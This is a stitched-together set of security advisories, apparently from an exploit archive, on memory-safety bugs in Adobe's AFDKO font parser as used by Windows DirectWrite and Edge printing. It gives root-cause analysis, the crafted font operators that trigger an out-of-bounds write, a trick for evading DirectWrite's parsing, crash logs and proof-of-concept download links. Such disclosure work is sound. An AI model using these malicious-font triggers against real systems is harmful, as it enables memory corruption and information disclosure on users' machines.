--- cut ---

The prologue of handleBlend() is as follows:

--- cut ---
   757  static void handleBlend(cfrCtx h) {
[...]
   776
   777      int numBlends = INDEX_INT(h->stack.cnt - 1);
   778      stack_elem *firstItem;
   779      int i = 0;
   780      int numDeltaBlends = numBlends * h->stack.numRegions;
   781      int firstItemIndex;
   782      h->flags |= CFR_SEEN_BLEND;
   783
   784      h->stack.cnt--;
   785
   786      if (numBlends < 0 || numDeltaBlends < 0)
   787          fatal(h, cfrErrStackUnderflow);
   788      CHKUFLOW(numBlends + numDeltaBlends);
   789      firstItemIndex = (h->stack.cnt - (numBlends + numDeltaBlends));
   790      firstItem = &(h->stack.array[firstItemIndex]);
   791
--- cut ---

Here is what happens in the code: the 32-bit numBlends variable is initialized with a fully controlled value from the top of the interpreter stack. The numDeltaBlends variable is calculated using numBlends and h->stack.numRegions, which is a typically small (theoretically up to 65535) but also controlled value. The code then makes sure that neither numBlends or numDeltaBlends are negative (line 786), and that there are at least numBlends+numDeltaBlends values on the stack (line 788). If these conditions are met, the function proceeds to writing to h->stack.array[h->stack.cnt - (numBlends + numDeltaBlends)] and further elements assuming the access is safe.

However, the sanity checks in lines 786-788 are not sufficient, as they miss one corner case - when both numBlends and numDeltaBlends are positive, but the numBlends + numDeltaBlends sum is negative due to signed 32-bit integer arithmetic. For example, if:

- numBlends is 0x31313131
- h->stack.numRegions is 2

then:

- numDeltaBlends is 0x62626262
- numBlends + numDeltaBlends is 0x93939393

The above values can be set by a specially crafted font and they meet the conditions verified by handleBlend(), yet the index of -0x93939393 (which translates to 1819044973) is largely out of bounds. This may be used to overwrite memory both inside of the stack-based cfrCtx object, and outside of it.

-----=====[ Proof of Concept ]=====-----

The proof of concept file contains a Private DICT beginning with the following two operators:

1. cff_longint(0x31313131)
2. cff_blend

This causes the above signedness issue to occur, leading to an attempt to write to a stack element at h->stack.array[1819044973].

The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" started with ./tx -cff poc.otf crashes with a SIGSEGV while trying to write to an unmapped memory address:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811
811             firstItem->numBlends = (unsigned short)numBlends;

(gdb) print numBlends
$1 = 825307441
(gdb) print numDeltaBlends
$2 = 1650614882
(gdb) print numBlends+numDeltaBlends
$3 = -1819044973
(gdb) print firstItemIndex
$5 = 1819044973

(gdb) x/10i $rip
=> 0x41670e <handleBlend+878>:  mov    %cx,0x8(%rdx)
   0x416712 <handleBlend+882>:  mov    -0x8(%rbp),%rdi
   0x416716 <handleBlend+886>:  movslq -0x20(%rbp),%rdx
   0x41671a <handleBlend+890>:  shl    $0x2,%rdx
   0x41671e <handleBlend+894>:  mov    %rdx,%rsi
   0x416721 <handleBlend+897>:  callq  0x416880 <memNew>
   0x416726 <handleBlend+902>:  mov    -0x18(%rbp),%rdx
   0x41672a <handleBlend+906>:  mov    %rax,0x10(%rdx)
   0x41672e <handleBlend+910>:  mov    -0x1c(%rbp),%eax
   0x416731 <handleBlend+913>:  cmp    -0x20(%rbp),%eax

(gdb) info reg $rdx
rdx            0xa2a9b3280      43664487040
(gdb) x/10gx $rdx
0xa2a9b3280:    Cannot access memory at address 0xa2a9b3280

(gdb) bt
#0  0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811
#1  0x0000000000411318 in readDICT (h=0x7103a0, region=0x7156d8, topdict=0) at ../../../../../source/cffread/cffread.c:1471
#2  0x000000000041241f in readPrivate (h=0x7103a0, iFD=0) at ../../../../../source/cffread/cffread.c:1637
#3  0x0000000000411a17 in readFDArray (h=0x7103a0) at ../../../../../source/cffread/cffread.c:1711
#4  0x000000000040dc5c in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2761
#5  0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#6  0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429
#7  0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
    at ../../../../source/tx.c:488
#8  0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#9  0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below:

--- cut ---
(50d4.f24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!handleBlend+0xc1:
00007ffb`29e68f5d 4439a4cb28030000 cmp     dword ptr [rbx+rcx*8+328h],r12d ds:0000016e`de978c30=????????
0:039> ? rbx
Evaluate expression: 1532035423952 = 00000164`b46d5ed0
0:039> ? rcx
Evaluate expression: 5457134919 = 00000001`45454547
0:039> k
 # Child-SP          RetAddr           Call Site
00 00000021`5eeea990 00007ffb`29e6b2e3 DWrite!handleBlend+0xc1
01 00000021`5eeea9d0 00007ffb`29e6c41e DWrite!readDICT+0xf67
02 00000021`5eeeaa30 00007ffb`29e6bc33 DWrite!readPrivate+0x3a
03 00000021`5eeeaa60 00007ffb`29e6ddf4 DWrite!readFDArray+0xcb
04 00000021`5eeeaa90 00007ffb`29e621e7 DWrite!cfrBegFont+0x548
05 00000021`5eeeb320 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
06 00000021`5eeeb820 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
07 00000021`5eeeba00 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
08 00000021`5eeebc20 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
09 00000021`5eeebf80 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0a 00000021`5eeec010 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0b 00000021`5eeec130 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0c 00000021`5eeec180 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
0d 00000021`5eeec1d0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0e 00000021`5eeec200 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0f 00000021`5eeec230 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
10 00000021`5eeec270 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47099.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The AFDKO library has its own implementation of dynamic arrays, semantically resembling e.g. std::vector from C++. These objects are implemented in c/public/lib/source/dynarr/dynarr.c and c/public/lib/api/dynarr.h. There are a few interesting observations we can make about them:

- Each dynamic array is initialized with the dnaINIT() macro, which lets the caller specify the initial number of items allocated on first access, and the increments in which the array is extended. This is an optimization designed to reduce the number of memory allocations, while making it possible to fine-tune the behavior of the array based on the nature of the data it stores.
- An empty dynamic array object uses the "array" pointer (which normally stores the address of the allocated elements) to store the "init" value, i.e. the minimum number of elements to allocate. Therefore referencing a non-existing element in an empty dynarr typically results in a near-NULL pointer dereference crash.
- Information such as element counts, indexes etc. is usually passed to the dna* functions as signed integers or longs. This means, for example, that calling dnaSET_CNT() with a nonpositive "n" argument on an empty array is a no-op, as "n" is then smaller or equal to the current cnt=0, and thus no allocation is performed.

There are several places in AFDKO where dynamic arrays are used incorrectly in the following ways:

- The size of a dynarr is set to 0 and the code starts operating on the dynarr.array pointer (wrongly) assuming that the array contains at least 1 element,
- The size of a dynarr is set to a negative value (which keeps the array at the same length as it was before), but it is later used as an unsigned number, e.g. to control the number of loop iterations.

Considering the current implementation of the dynarrays, both of the above situations lead to NULL pointer dereference crashes which are impossible to exploit for arbitrary code execution. However, this is due to pure coincidence, and if the internals of the dynamic arrays were a little different in the future (e.g. a malloc(0) pointer was initially assigned to an empty array), then these bugs would immediately become memory corruption issues. The affected areas of code don't respect the length of the arrays they read from and write to, which is why we are reporting the issues despite their seemingly low severity.

We noticed the bugs in the following locations in cffread.c:

--- cut ---
  1900  static void buildGIDNames(cfrCtx h) {
  1901      char *p;
  1902      long length;
  1903      long numGlyphs = h->glyphs.cnt;
  1904      unsigned short i;
  1905
  1906      dnaSET_CNT(h->post.fmt2.glyphNameIndex, numGlyphs);
  1907      for (i = 0; i < numGlyphs; i++) {
  1908          h->post.fmt2.glyphNameIndex.array[i] = i;
  1909      }
  1910      /* Read string data */
  1911      length = numGlyphs * 9; /* 3 for 'gid', 5 for GID, 1 for null termination. */
  1912      dnaSET_CNT(h->post.fmt2.buf, length + 1);
  1913      /* Build C strings array */
  1914      dnaSET_CNT(h->post.fmt2.strings, numGlyphs);
  1915      p = h->post.fmt2.buf.array;
  1916      sprintf(p, ".notdef");
  1917      length = (long)strlen(p);
  1918      h->post.fmt2.strings.array[0] = p;
  1919      p += length + 1;
  1920      for (i = 1; i < numGlyphs; i++) {
  1921          h->post.fmt2.strings.array[i] = p;
  1922          sprintf(p, "gid%05d", i);
  1923          length = (long)strlen(p);
  1924          p += length + 1;
  1925      }
  1926
  1927      return; /* Success */
  1928  }
--- cut ---

In the above function, if numGlyphs=0, then there are two problems:

- The length of the h->post.fmt2.buf buffer is set to 1 in line 1912, but then 8 bytes are copied into it in line 1916. However, because the "init" value for the array is 300, 300 bytes are allocated instead of just 1 and no memory corruption takes place.
- The length of h->post.fmt2.strings is set to 0 in line 1914, yet the code accesses the non-existent element h->post.fmt2.strings.array[0] in line 1918, triggering a crash.

Furthermore, in readCharset():

--- cut ---
[...]
  2164          default: {
  2165              /* Custom charset */
  2166              long gid;
  2167              int size = 2;
  2168
  2169              srcSeek(h, h->region.Charset.begin);
  2170
  2171              gid = 0;
  2172              addID(h, gid++, 0); /* .notdef */
  2173
  2174              switch (read1(h)) {
[...]
--- cut ---

where addID() is defined as:

--- cut ---
  1839  static void addID(cfrCtx h, long gid, unsigned short id) {
  1840      abfGlyphInfo *info = &h->glyphs.array[gid];
  1841      if (h->flags & CID_FONT)
  1842          /* Save CID */
  1843          info->cid = id;
  1844      else {
  1845          /* Save SID */
  1846          info->gname.impl = id;
  1847          info->gname.ptr = sid2str(h, id);
  1848
  1849          /* Non-CID font so select FD[0] */
  1850          info->iFD = 0;
[...]
--- cut ---

Here in line 2172, readCharset() assumes that there is at least one glyph declared in the font (the ".notdef"). If there aren't any, trying to access h->glyphs.array[0] leads to a crash in line 1843 or 1846.

Lastly, let's have a look at readCharStringsINDEX():

--- cut ---
  1779  /* Read CharStrings INDEX. */
  1780  static void readCharStringsINDEX(cfrCtx h, short flags) {
  1781      unsigned long i;
  1782      INDEX index;
  1783      Offset offset;
  1784
  1785      /* Read INDEX */
  1786      if (h->region.CharStringsINDEX.begin == -1)
  1787          fatal(h, cfrErrNoCharStrings);
  1788      readINDEX(h, &h->region.CharStringsINDEX, &index);
  1789
  1790      /* Allocate and initialize glyphs array */
  1791      dnaSET_CNT(h->glyphs, index.count);
  1792      srcSeek(h, index.offset);
  1793      offset = index.data + readN(h, index.offSize);
  1794      for (i = 0; i < index.count; i++) {
  1795          long length;
  1796          abfGlyphInfo *info = &h->glyphs.array[i];
  1797
  1798          abfInitGlyphInfo(info);
  1799          info->flags = flags;
  1800          info->tag = (unsigned short)i;
[...]
  1814      }
  1815  }
--- cut ---

The index.count field is of type "unsigned long", and on platforms where it is 32-bit wide (Linux x86, Windows x86/x64), it can be fully controlled by input CFF2 fonts. In line 1791, the field is used to set the length of the h->glyphs array. Please note that a value of 0x80000000 or greater becomes negative when cast to long, which is the parameter type of dnaSET_CNT (or rather the underlying dnaSetCnt). As previously discussed, a negative new length doesn't change the state of the array, so h->glyphs remains empty. However, the loop in line 1794 operates on unsigned numbers, so it will attempt to perform 2 billion or more iterations, trying to write to h->glyphs.array[0, ...]. The first access to h->glyphs.array[0] inside of abfInitGlyphInfo() will trigger an exception.

As a side note, in readCharStringsINDEX(), if the index loaded in line 1788 is empty (i.e. index.count == 0), then other fields in the structure such as index.offset or index.offSize are left uninitialized. They are, however, unconditionally used in lines 1792 and 1793 to seek in the data stream and potentially read some bytes. This doesn't seem to have any major effect on the program state, so it is only reported here as FYI.

-----=====[ Proof of Concept ]=====-----

There are three proof of concept files, poc_buildGIDNames.otf, poc_addID.otf and poc_readCharStringsINDEX.otf, which trigger crashes in the corresponding functions.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_buildGIDNames.otf crashes in the following way:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918
1918        h->post.fmt2.strings.array[0] = p;

(gdb) print h->post.fmt2.strings
$1 = {ctx = 0x6020000000d0, array = 0x32, cnt = 0, size = 0, incr = 200, func = 0x0}

(gdb) x/10i $rip
=> 0x55694c <buildGIDNames+748>:        mov    %rcx,(%rax)
   0x55694f <buildGIDNames+751>:        mov    -0x18(%rbp),%rdx
   0x556953 <buildGIDNames+755>:        add    $0x1,%rdx
   0x556957 <buildGIDNames+759>:        add    -0x10(%rbp),%rdx
   0x55695b <buildGIDNames+763>:        mov    %rdx,-0x10(%rbp)
   0x55695f <buildGIDNames+767>:        movw   $0x1,-0x22(%rbp)
   0x556965 <buildGIDNames+773>:        movzwl -0x22(%rbp),%eax
   0x556969 <buildGIDNames+777>:        mov    %eax,%ecx
   0x55696b <buildGIDNames+779>:        mov    -0x20(%rbp),%rdx
   0x55696f <buildGIDNames+783>:        mov    %rcx,%rdi
(gdb) info reg $rax
rax            0x32     50

(gdb) bt
#0  0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918
#1  0x0000000000553d38 in postRead (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1964
#2  0x000000000053eeda in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2139
#3  0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
    at ../../../../../source/cffread/cffread.c:2789
#4  0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#5  0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:429
#6  0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:488
#7  0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:558
#8  0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_addID.otf crashes in the following way:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846
1846            info->gname.impl = id;

(gdb) print info
$1 = (abfGlyphInfo *) 0x100

(gdb) x/10i $rip
=> 0x55640d <addID+397>:        mov    %rcx,(%rax)
   0x556410 <addID+400>:        mov    -0x8(%rbp),%rdi
   0x556414 <addID+404>:        movzwl -0x12(%rbp),%edx
   0x556418 <addID+408>:        mov    %edx,%esi
   0x55641a <addID+410>:        callq  0x548c30 <sid2str>
   0x55641f <addID+415>:        mov    -0x20(%rbp),%rcx
   0x556423 <addID+419>:        add    $0x8,%rcx
   0x556427 <addID+423>:        mov    %rcx,%rsi
   0x55642a <addID+426>:        shr    $0x3,%rsi
   0x55642e <addID+430>:        cmpb   $0x0,0x7fff8000(%rsi)
(gdb) info reg $rax
rax            0x110    272

(gdb) bt
#0  0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846
#1  0x000000000053f2e9 in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2172
#2  0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
    at ../../../../../source/cffread/cffread.c:2789
#3  0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#4  0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:429
#5  0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:488
#6  0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558
#7  0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_readCharStringsINDEX.otf crashes in the following way:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124
124         info->flags = 0;

(gdb) print info
$1 = (abfGlyphInfo *) 0x100

(gdb) x/10i $eip
=> 0x846344e <abfInitGlyphInfo+94>:     movw   $0x0,(%eax)
   0x8463453 <abfInitGlyphInfo+99>:     mov    0x8(%ebp),%ecx
   0x8463456 <abfInitGlyphInfo+102>:    add    $0x2,%ecx
   0x8463459 <abfInitGlyphInfo+105>:    mov    %ecx,%edx
   0x846345b <abfInitGlyphInfo+107>:    shr    $0x3,%edx
   0x846345e <abfInitGlyphInfo+110>:    or     $0x20000000,%edx
   0x8463464 <abfInitGlyphInfo+116>:    mov    (%edx),%bl
   0x8463466 <abfInitGlyphInfo+118>:    cmp    $0x0,%bl
   0x8463469 <abfInitGlyphInfo+121>:    mov    %ecx,-0x14(%ebp)
   0x846346c <abfInitGlyphInfo+124>:    mov    %bl,-0x15(%ebp)
(gdb) info reg $eax
eax            0x100    256

(gdb) bt
#0  0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124
#1  0x08190954 in readCharStringsINDEX (h=0xf3f00100, flags=0) at ../../../../../source/cffread/cffread.c:1798
#2  0x081797b5 in cfrBegFont (h=0xf3f00100, flags=4, origin=0, ttcIndex=0, top=0xf570021c, UDV=0x0) at ../../../../../source/cffread/cffread.c:2769
#3  0x08155d26 in cfrReadFont (h=0xf5700200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#4  0x081556e0 in doFile (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:429
#5  0x08152fca in doSingleFileSet (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:488
#6  0x081469a7 in parseArgs (h=0xf5700200, argc=2, argv=0xffffcd78) at ../../../../source/tx.c:558
#7  0x08142640 in main (argc=2, argv=0xffffcd78) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47102.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is called from cfrBegFont(), the main entry point for parsing an input OpenType/CFF font by the "cfr" (CFF Reader) component of AFDKO. At the beginning of the function, it handles variable CFF2 fonts:

--- cut ---
  2138      if (h->header.major == 2) {
  2139          postRead(h);
  2140          if (h->cff2.mvar)
  2141              MVARread(h);
  2142          if (!(h->flags & CID_FONT))
  2143              readCharSetFromPost(h);
  2144          else {
  2145              long gid;
  2146              for (gid = 0; gid < h->glyphs.cnt; gid++) {
  2147                  abfGlyphInfo *info = &h->glyphs.array[gid];
  2148                  info->cid = (unsigned short)gid;
  2149              }
  2150          }
  2151          return;
  2152      }
--- cut ---

In this report, we are most interested in lines 2139 and 2143, i.e. the calls to postRead() and readCharSetFromPost(). The postRead() routine is responsible for processing the "post" optional SFNT table, extracting the glyph names that it contains and copying them into the internal engine structures. Let's analyze some of its most important parts:

--- cut ---
  1960      if (h->flags & CID_FONT)
  1961          return; /* Don't read glyph names for CID fonts */
  1962
  1963      if (h->post.format != 0x00020000) {
  1964          buildGIDNames(h);
  1965          return;
  1966      }
--- cut ---

In order to pass the two checks, the font must not be CID-keyed and the "post" table format must be 2.0. Then, the number of glyphs described by the table is loaded, and if it's inconsistent with the font's number of glyphs, a warning message is printed. 

--- cut ---
  1975      /* Parse format 2.0 data */
  1976      numGlyphs = read2(h);
  1977      if (numGlyphs != h->glyphs.cnt)
  1978          message(h, "post 2.0: name index size doesn't match numGlyphs");
--- cut ---

Then, the function proceeds to fill out three internal objects: h->post.fmt2.glyphNameIndex (a dynamic array of "unsigned short", containing indexes into "strings"), h->post.fmt2.strings (a dynamic array of string pointers) and h->post.fmt2.buf (a dynamic array of characters, storing the textual data pointed to by "strings"). One very peculiar feature of the function is that upon encountering invalid input data, it flips the "post" table format to 0x00000001 (even though it was originally 0x00020000) and returns with success:

--- cut ---
  2026  parseError:
  2027      /* We managed to read the header but the rest of the table had an error that
  2028       prevented reading some (or all) glyph names. We set the the post format
  2029       to a value that will allow us to use the header values but will prevent
  2030       us from using any glyph name data which is likely missing or invalid */
  2031      h->post.format = 0x00000001;
  2032  }
--- cut ---

While the message explains the developer's intention quite well, it is not factually correct, as the above post format doesn't prevent the code from using glyph name data later on. 

The "parseError" label can be reached from four different locations, each of them being the result of a failed sanity check:

--- cut ---
  1968      if (invalidStreamOffset(h, table->offset + table->length - 1)) {
  1969          message(h, "post: table truncated");
  1970          goto parseError;
  1971      }
[...]
  1982      if (length < numGlyphs * 2) {
  1983          message(h, "post 2.0: table truncated (table ignored)");
  1984          goto parseError;
  1985      }
[...]
  1993          if (nid > 32767) {
  1994              message(h, "post 2.0: invalid name id (table ignored)");
  1995              goto parseError;
[...]
  2015          if (p > end) {
  2016              message(h, "post 2.0: invalid strings");
  2017              goto parseError;
  2018          }
--- cut ---

Executing the goto statements in lines 1995 and 2017 may lead to inconsistent program state. Here is what may happen:

- When line 1995 executes, the "glyphNameIndex" object has "numGlyphs" elements, but some of them may be uninitialized, and the "strings" and "buf" arrays are empty.
- When line 2017 executes, the "strings" array may be shorter than "glyphNameIndex" (because "strCount" may be smaller than "numGlyphs", as counted by the array in lines 1990-1998), and it may be only partially initialized.

Knowing that the above conditions may be achieved, let's analyze the second function of interest, readCharSetFromPost(). A majority of its body only executes if the CFR_IS_CFF2 flag is not set, which is not the case for us (remember that the input font must be a CFF2 one):

--- cut ---
  2060  static void readCharSetFromPost(cfrCtx h) {
  2061      Offset offset;
  2062      unsigned long i;
  2063      long gid;
  2064      char *p;
  2065      long lenStrings = ARRAY_LEN(stdstrs);
  2066
  2067      if (!(h->flags & CFR_IS_CFF2)) {
[...]
  2111      }
[...]
--- cut ---

This leaves us with the following loop at the end:

--- cut ---
  2113      for (gid = 0; gid < h->glyphs.cnt; gid++) {
  2114          abfGlyphInfo *info = &h->glyphs.array[gid];
  2115          info->gname.ptr = post2GetName(h, (SID)gid);
  2116      }
--- cut ---

For each glyph in the font, the loop tries to initialize the glyph's gname.ptr pointer with the address of its textual name. To obtain the address, the following post2GetName() function is used:

--- cut ---
  1819  /* Get glyph name from format 2.0 post table. */
  1820  static char *post2GetName(cfrCtx h, SID gid) {
  1821      if (gid >= h->post.fmt2.glyphNameIndex.cnt)
  1822          return NULL; /* Out of bounds; .notdef */
  1823      else if (h->post.format != 0x00020000)
  1824          return h->post.fmt2.strings.array[gid];
  1825      else {
  1826          long nid = h->post.fmt2.glyphNameIndex.array[gid];
  1827          if (nid == 0)
  1828              return stdstrs[nid]; /* .notdef */
  1829          else if (nid < 258)
  1830              return applestd[nid];
  1831          else if (nid - 258 >= h->post.fmt2.strings.cnt) {
  1832              return NULL; /* Out of bounds; .notdef */
  1833          } else
  1834              return h->post.fmt2.strings.array[nid - 258];
  1835      }
  1836  }
--- cut ---

This is the last piece of the puzzle and the place where most of the problem resides. Between lines 1821-1824, the code makes two significant assumptions:

- That the h->post.fmt2.strings array is as long as h->post.fmt2.glyphNameIndex, i.e. if "gid < h->post.fmt2.glyphNameIndex.cnt" then it is safe to access h->post.fmt2.strings.array[gid].
- That the h->post.fmt2.strings array is fully initialized.

Now as we saw before, neither of these assumptions must be true: the "strings" array may be shorter (or completely empty) than "glyphNameIndex", and it may be partially uninitialized due to an early exit from postRead(). Breaking the assumptions may lead to the following:

- A NULL pointer dereference in line 1824, since an empty "strings" object has a near-NULL "array" value,
- Returning an uninitialized chunk of memory as the address of the glyph name,
- Returning an out-of-bounds chunk of memory as the address of the glyph name.

In the 2nd and 3rd case, the invalid gname.ptr value is later referenced when building the output file, for example in glyphBeg (cffwrite/cffwrite_t2cstr.c) if the output format is CFF:

--- cut ---
   243                 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) {
--- cut ---

Considering that the vulnerability may allow writing a string from a potentially controlled address in the process address space to the output file, we classify it as an information disclosure flaw.

-----=====[ Lesser bugs ]=====-----

